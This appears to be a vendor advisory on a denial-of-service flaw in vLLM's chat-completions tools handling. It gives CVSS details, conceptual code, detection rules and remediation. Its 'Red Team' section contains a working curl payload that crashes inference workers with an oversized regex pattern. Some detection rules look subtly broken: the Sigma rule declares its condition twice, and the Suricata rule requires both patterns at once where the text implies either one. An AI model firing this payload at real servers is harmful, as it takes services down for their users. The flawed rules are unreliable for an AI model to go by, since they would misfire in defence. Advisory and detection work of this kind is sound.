CVE-2025-48944

Executive Summary

CVE-2025-48944 is a denial-of-service (DoS) vulnerability in the vLLM inference and serving engine for large language models (LLMs). The flaw resides in the /v1/chat/completions OpenAPI endpoint, specifically within the handling of the tools functionality. When a crafted request containing unexpected or malformed input in the pattern and type fields is sent, the backend fails to validate this input before compiling or parsing it. This causes a crash of the inference worker process. The worker remains down until manually restarted, leading to a sustained denial of service for all users of that worker. The vulnerability affects vLLM versions 0.8.0 up to, but not including, 0.9.0. The fix is included in version 0.9.0.

Supply Chain & Package Security

This vulnerability affects the vLLM Python package, which is distributed via PyPI. Organizations using vLLM should verify their installed version and update to 0.9.0 or later. As an open-source project, the supply chain risk is mitigated by the availability of the source code and the patch. However, users should ensure they are pulling the package from the official PyPI repository (pypi.org) and verify checksums if possible.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low (L) - No special conditions are required for a successful attack.
• Privileges Required (PR): None (N) - No authentication is needed to exploit the vulnerability.
• User Interaction (UI): None (N) - The victim does not need to perform any action.
• Scope (S): Unchanged (U) - The impact is confined to the vulnerable component.
• Confidentiality (C): None (N) - No data is exposed.
• Integrity (I): None (N) - No data is modified.
• Availability (A): High (H) - The vulnerability causes a complete loss of availability for the inference worker.

Threat Level: Medium. While the CVSS score is 6.5, the impact is a complete denial of service for a critical component (the inference worker). An attacker can repeatedly crash the worker, making the LLM service unavailable. The low attack complexity and lack of required privileges make this a practical attack vector.

Deep Dive & Mechanics

The vulnerability is located in the vLLM backend's handling of the tools parameter in the /v1/chat/completions endpoint. This endpoint is used to allow the LLM to interact with external tools (e.g., calculators, search engines). The tools parameter accepts a JSON array of tool definitions, each containing a function object with a parameters field. This parameters field is a JSON Schema object that defines the expected input for the tool.

The flaw is in the processing of the pattern and type fields within this JSON Schema. The vLLM backend does not properly validate the content of these fields before passing them to a compiler or parser. An attacker can craft a request with a malicious pattern (e.g., an extremely long string, a regex with catastrophic backtracking, or a malformed regex) or an unexpected type (e.g., a non-existent type or a type that triggers an error in the schema parser). When the backend attempts to compile or parse this malformed input, it crashes the inference worker process.

The crash is not a simple exception that can be caught and handled; it causes the worker process to terminate. This is likely due to a segmentation fault or an unhandled fatal error in the underlying parsing library. The worker must be restarted by an external process (e.g., a supervisor or orchestration system) to restore service.

Vulnerable vs. Patched Code

The vulnerable code path is in the function that processes the tools parameter and compiles the JSON Schema for each tool. The exact location is not publicly disclosed, but the fix in version 0.9.0 involves adding input validation for the pattern and type fields.

Vulnerable Code (Conceptual):

# Vulnerable: No validation of pattern or type
def process_tool_schema(schema):
    pattern = schema.get("pattern")
    if pattern:
        # Directly compile the pattern without validation
        compiled_pattern = re.compile(pattern)
    # ... rest of processing

Patched Code (Conceptual):

# Patched: Validate pattern and type before processing
import re

def validate_pattern(pattern):
    # Check for excessively long patterns
    if len(pattern) > 1000:
        raise ValueError("Pattern too long")
    # Check for potentially dangerous regex patterns
    # (e.g., catastrophic backtracking)
    # This is a simplified example
    if ".*" in pattern and pattern.count(".*") > 5:
        raise ValueError("Potentially dangerous pattern")
    return True

def process_tool_schema(schema):
    pattern = schema.get("pattern")
    if pattern:
        validate_pattern(pattern)
        compiled_pattern = re.compile(pattern)
    # ... rest of processing

Exploitation & Lab Setup

Red Team (Exploitation)

1. Setup: Deploy a vulnerable vLLM instance (version 0.8.x) with the /v1/chat/completions endpoint exposed.

2. Craft Payload: Create a malicious request that includes a tools parameter with a malformed pattern field. The following example uses an extremely long pattern to cause a crash.

   curl -X POST http://target:8000/v1/chat/completions \
     -H "Content-Type: application/json" \
     -d '{
       "model": "default",
       "messages": [{"role": "user", "content": "Hello"}],
       "tools": [
         {
           "type": "function",
           "function": {
             "name": "test_tool",
             "description": "A test tool",
             "parameters": {
               "type": "object",
               "properties": {
                 "input": {
                   "type": "string",
                   "pattern": "'$(python3 -c "print('a'*100000)")'"
                 }
               }
             }
           }
         }
       ]
     }'
   

3. Observe Crash: The inference worker will crash. Subsequent requests to the same worker will fail until it is restarted.

Blue Team (Detection & Response)

1. Monitor Logs: Look for error messages in the vLLM logs indicating a worker crash. Common indicators include:

   • Worker process terminated unexpectedly
   • Segmentation fault
   • Fatal Python error
   • Aborted (core dumped)

2. Network Monitoring: Detect anomalous requests to the /v1/chat/completions endpoint with unusually large or malformed tools parameters.

3. Resource Monitoring: Monitor for sudden drops in worker process count or CPU/memory usage for the vLLM service.

4. Incident Response:

   • Immediately isolate the affected worker node.
   • Restart the vLLM service or the specific worker.
   • Analyze the request logs to identify the source IP and the payload.
   • Block the offending IP address at the firewall or WAF.
   • Apply the patch by upgrading to vLLM 0.9.0.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests to /v1/chat/completions with a tools parameter containing an excessively long pattern field (e.g., > 1000 characters).
  • HTTP POST requests to /v1/chat/completions with a tools parameter containing a type field that is not a valid JSON Schema type (e.g., "type": "invalid_type").
  • Source IP addresses that repeatedly send such malformed requests.

• System IOCs:

  • vLLM worker process crashes (segfaults, aborts).
  • Error logs containing messages like Fatal error in regex compilation or Unhandled exception in tool schema processing.
  • Sudden unavailability of the LLM inference service.

Detection Engineering

YARA Rule

rule Detect_CVE_2025_48944_vLLM_Tools_DoS {
    meta:
        description = "Detects malicious requests targeting CVE-2025-48944 in vLLM"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-48944"
        severity = "high"
    strings:
        $pattern_long = /"pattern"\s*:\s*"[^"]{1000,}"/ nocase
        $type_invalid = /"type"\s*:\s*"(?!string|number|integer|boolean|array|object|null)[^"]*"/ nocase
        $tools_key = /"tools"\s*:/ nocase
    condition:
        $tools_key and ($pattern_long or $type_invalid)
}

Sigma Rule

title: CVE-2025-48944 - vLLM Tools DoS Attempt
id: 7b8c9d0e-1f2a-3b4c-5d6e-7f8a9b0c1d2e
status: experimental
description: Detects HTTP requests attempting to exploit CVE-2025-48944 in vLLM by sending malformed tools parameters.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-48944
logsource:
    category: webserver
    product: generic
detection:
    selection:
        http.method: 'POST'
        http.url: '/v1/chat/completions'
        http.body|contains: '"tools"'
    condition: selection
    filter:
        - http.body|contains: '"pattern":'
          http.body|re: '"pattern"\s*:\s*"[^"]{1000,}"'
        - http.body|contains: '"type":'
          http.body|re: '"type"\s*:\s*"(?!string|number|integer|boolean|array|object|null)[^"]*"'
    condition: selection and filter
falsepositives:
    - Legitimate use of very long patterns (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-48944 vLLM Tools DoS Attempt"; flow:to_server; content:"POST"; http_method; content:"/v1/chat/completions"; http_uri; content:"\"tools\""; http_client_body; pcre:"/\"pattern\"\s*:\s*\"[^\"]{1000,}\"/i"; pcre:"/\"type\"\s*:\s*\"(?!string|number|integer|boolean|array|object|null)[^\"]*\"/i"; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Upgrade vLLM to version 0.9.0 or later. This is the official fix provided by the vendor.

   pip install --upgrade vllm
   

2. Workaround: If an immediate upgrade is not possible, implement a Web Application Firewall (WAF) rule to block requests with excessively long pattern fields or invalid type fields in the tools parameter.

3. Network Segmentation: Ensure that the vLLM API endpoint is not directly exposed to the internet. Use a reverse proxy or API gateway to filter and validate incoming requests.

4. Monitoring: Implement the detection rules provided in this report to identify and alert on exploitation attempts.

5. Incident Response Plan: Update your incident response plan to include steps for handling DoS attacks on AI/ML infrastructure, including worker restarts and traffic analysis.

Valters IT